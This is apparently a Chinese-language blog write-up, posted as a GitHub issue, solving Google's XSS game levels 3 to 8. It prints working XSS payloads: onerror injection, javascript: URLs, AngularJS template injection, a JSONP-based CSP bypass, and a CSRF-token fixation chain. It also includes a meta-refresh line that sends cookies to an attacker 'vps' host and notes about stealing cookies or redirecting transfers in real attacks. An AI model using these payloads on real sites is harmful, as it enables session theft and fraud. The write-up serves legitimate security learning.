Aaisui / Blog

Aaisui的博客。
5 stars 0 forks source link

XSSGAME #3

Open Aaisui opened 3 years ago

Aaisui commented 3 years ago

关于我在XSS又卷土重来这回事 说真的,自己真的几乎完全不会XSS,打比赛就只能放弃,这几天看见个谷歌的平台感觉挺好玩的,所以就搭起来玩了。

比赛平台

前两题太简单了没什么好讲的

第三题

打开了是一个很可爱的🐱🐱图 图片 但是很显然这里能够让我们通过自定义URL完成一些操作,看他的代码 图片 发现是直接将我们的输入进行一次拼接然后倒入变成dom元素,这种情况下就可以直接用注释符注释掉后面的了。 payload: #1'%20onerror="alert(1)">

第四题

这个题目抓包的话可以看到代码:

图片 跟在window.location后面是可以跟js伪协议来执行js代码的,这样的话就直接javascript:alert(1) 就好了,这里再记录一下什么东西可以执行js伪协议

常见的属性有:

图片

第五题

这题就要慢慢看代码了 图片 这里试了各种标签都没被解析,感觉就像在pre当中写..但是看了一下代码

<html>
<body>
<!--StartFragment-->

angular.module('myApp', [])
--
  | .controller('myController', ['$scope', function ($scope) {
  | $scope.query = "";
  | $scope.alert = window.alert;
  | }]);
  |  
  | var UTM_PARAMS = ["utm_content", "utm_medium", "utm_source",
  | "utm_campaign", "utm_term"]
  |  
  | if (location.search)
  | {
  | var params = location.search.substring(1).split('&');
  |  
  | for (var p in params) {
  | var r = params[p].split('=');
  |  
  | if (r.length == 2 && UTM_PARAMS.indexOf(r[0]) != -1) {
  | var el = document.getElementsByName(r[0]);
  | if (el.length) el[0].value = decodeURIComponent(r[1]);
  | }
  | }
  | }

<!--EndFragment-->
</body>
</html>

慢慢的解读代码,意思就是会将我们输入的get传参进行分组,如果满足?a=x的形式的话就会干两个事情

那么这里我们可以操作的dom元素有两个

图片 但是实际上直接写js代码没什么用啊,于是乎又看到一篇文章:利用基于AngularJS的XSS实现提权根据文中提到的方式:{{alert(1)}},就利用成功了

图片 当然实际上题目中这里也给出了模板的

第六题

这里说是CSP伪造,翻了下有一篇好文章:CSP策略及绕过技巧小结

4 关于XSS的CSP绕过

知识点有点多所以我决定新开一篇文章来写

Aaisui commented 3 years ago

结果第六题根本不是啊,这几把说你嘛呢,折腾来折腾去是Angular1.2自己的问题,如果出现?test的话会被拼接到 里面去 图片 那么用HTML实体编码+urlencode即可

http://www.xssgame.com/f/rWKWwJGnAeyi/?test=%26%23x7b%3B%26%23x7b%3Balert(1)}}
Aaisui commented 3 years ago

第七题

这题才是真CSP,能够找到这里有配置,参考之前写的#4 XSSCSP即可 图片

查看源码:

/**
 * Ask server side what to display.
 */
function main() {
    var m = location.search.match('menu=(.*)');
    var menu = m ? atob(m[1]) : 'about';
    document.write('<script src="jsonp?menu=' + encodeURIComponent(menu) + '"></script>');
}

/**
 * Display stuff returned from server side.
 * @param {string} data - JSON data from server side
 */
function callback(data) {
    if (data.title) document.write('<h1>' + data.title + '</h1>');
    if (data.pictures) data.pictures.forEach(function(url) {
        document.write('<img src="/static/img/' + url + '"><br><br>');
    });
}

main();

如果说带cookie出去的话可以直接:

http://www.xssgame.com/f/wmOM2q5NJnZS/?menu=<meta http-equiv="refresh" content="1;url=http://vps/x.php?c=mi1k7ea" >

但是这里要求是弹窗,自己看了一眼WP,知道了新的操作JSONP注入,详细了解可以看这篇文章:JSONP注入

回到题目,题目中发起请求的过程我们用chrome浏览器看:

图片 可以看到这里发起了一次jsonp请求绕过了CSP的限制,并且访问了static文件夹下的level7.js,而7.js会默认调用main函数。

但JSONP是允许我们访问其他函数的,只需要jsonp?functionName ,并且传入的代码会被当做JS代码执行,这里相当于是执行callback(alert(1)) 所以这里传入?menu=即可。

Aaisui commented 3 years ago

XSSGAME 第八题

源码:

/**
 * Read cookie.
 * @param {string} name - Name of the cookie
 * @returns {string} Cookie value
 */
function readCookie(name) {
    var match = RegExp('(?:^|;)\\s*' + name + '=([^;]*)').exec(document.cookie);
    return match && match[1];
}

var username = readCookie('name');
if (username) {
    document.write('<h1>Welcome ' + username + '!</h1>');
}

document.addEventListener("DOMContentLoaded", function(event) {
    csrf_token.value = readCookie('csrf_token');
});

通过初步的fuzz和测试我们可以知道如下几点:

限制:

还有一个fuzz就是当我们转账的时候如果输入的数字不对的话会显示出来值 图片 并且没有CSP的限制

一个CSRF的攻击流程应该是让一个已登录的用户点击我们的链接去操作转账

那么我们现在的问题就是如何控制csrf_token,回去仔细看源码,再set路由下如果我们设置name=csrf_token&value=123,那么返回的cookies头就是csrf_token=123,此时再通过set路由下的redirect,跳转到转账路由下就可以完成一次CSRF了,最终payload:

/set?name=csrf_token&value=test&redirect=transfer?name=aaa&amount=%3Cscript%3Ealert(1)%3C/script%3E&csrf_token=test

那么在实战当中,我们就可以将amount当中的script修改为弹出cookie当攻击者手里,或者直接修改name为攻击者的name,amout设置为我们想要修改的金额了